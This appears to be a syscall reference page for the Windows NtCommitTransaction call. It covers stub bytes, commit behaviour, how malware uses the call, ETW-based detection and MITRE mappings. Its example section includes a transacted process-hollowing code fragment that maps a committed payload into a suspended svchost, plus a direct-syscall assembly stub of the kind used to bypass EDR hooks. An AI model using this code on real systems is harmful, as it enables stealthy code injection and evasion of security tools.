NtCommitTransaction

Prototype

NTSTATUS NtCommitTransaction(
  HANDLE  TransactionHandle,
  BOOLEAN Wait
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 9D 00 00 00      mov eax, 0x9D      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

Drives the two-phase commit protocol across every Resource Manager enlisted in the transaction (typically just TxF). When `Wait = TRUE`, the call only returns once the CLFS log has flushed the commit record — at that point the changes are crash-consistent. When `Wait = FALSE`, the return is `STATUS_PENDING` and the caller can wait on the transaction handle.

Common malware usage

In **Transacted Hollowing** (a Doppelgänging cousin documented by Hasherezade & enSilo), `NtCommitTransaction` replaces `NtRollbackTransaction` at the end of the chain: the malicious bytes are *kept* on disk under an unsuspicious filename, then process-hollowed into a benign target. The technique is also used by some droppers to atomically swap a chain of files (DLL + INI + scheduled-task XML) so an EDR scanner cannot catch any intermediate inconsistent state. For full Doppelgänging in the strict enSilo sense, the commit is *not* called — but defenders must still treat any commit of a recently-written executable file as suspicious, particularly when the writer is not the standard installer-engine process.

Detection opportunities

ETW `Microsoft-Windows-Kernel-File` event ID 30 carries `TransactionToken` and `FileObject`; correlating the commit with the preceding `NtWriteFile` events on the same transaction lets you reconstruct the bytes that were committed. EDR products that maintain a per-transaction shadow buffer can hash the committed payload at commit time and forward it to a reputation service. Sysmon Event 11 (FileCreate) fires when the transacted file is *first written*, not on commit, so commit detection requires the ETW path.

Direct syscall examples

// Transacted Hollowing variant: commit, then hollow.
NTSTATUS s = NtCommitTransaction(hTransaction, /*Wait=*/ TRUE);
if (!NT_SUCCESS(s)) return s;

// Section now backed by committed payload on disk.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
                PAGE_READONLY, SEC_IMAGE, hTransactedFile);

// Map the section into a suspended target and patch entry point.
CreateProcessW(L"C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddr);
NtMapViewOfSection(hSection, pi.hProcess, &newBase, 0, 0, NULL,
                   &viewSize, ViewShare, 0, PAGE_EXECUTE_READ);
ResumeThread(pi.hThread);

; NtCommitTransaction direct stub — SSN 0x9D on Win11 24H2
NtCommitTransaction PROC
    mov  r10, rcx
    mov  eax, 9Dh
    syscall
    ret
NtCommitTransaction ENDP

use ntapi::ntxcapi::NtCommitTransaction;
use winapi::shared::ntdef::{HANDLE, TRUE as NT_TRUE};

unsafe fn commit(tx: HANDLE) {
    let status = NtCommitTransaction(tx, NT_TRUE as _);
    assert!(status >= 0, "commit failed: 0x{:X}", status);
}

MITRE ATT&CK mappings

• T1055.013Process Doppelgängingmitre ↗
• T1055.012Process Hollowingmitre ↗
• T1106Native APImitre ↗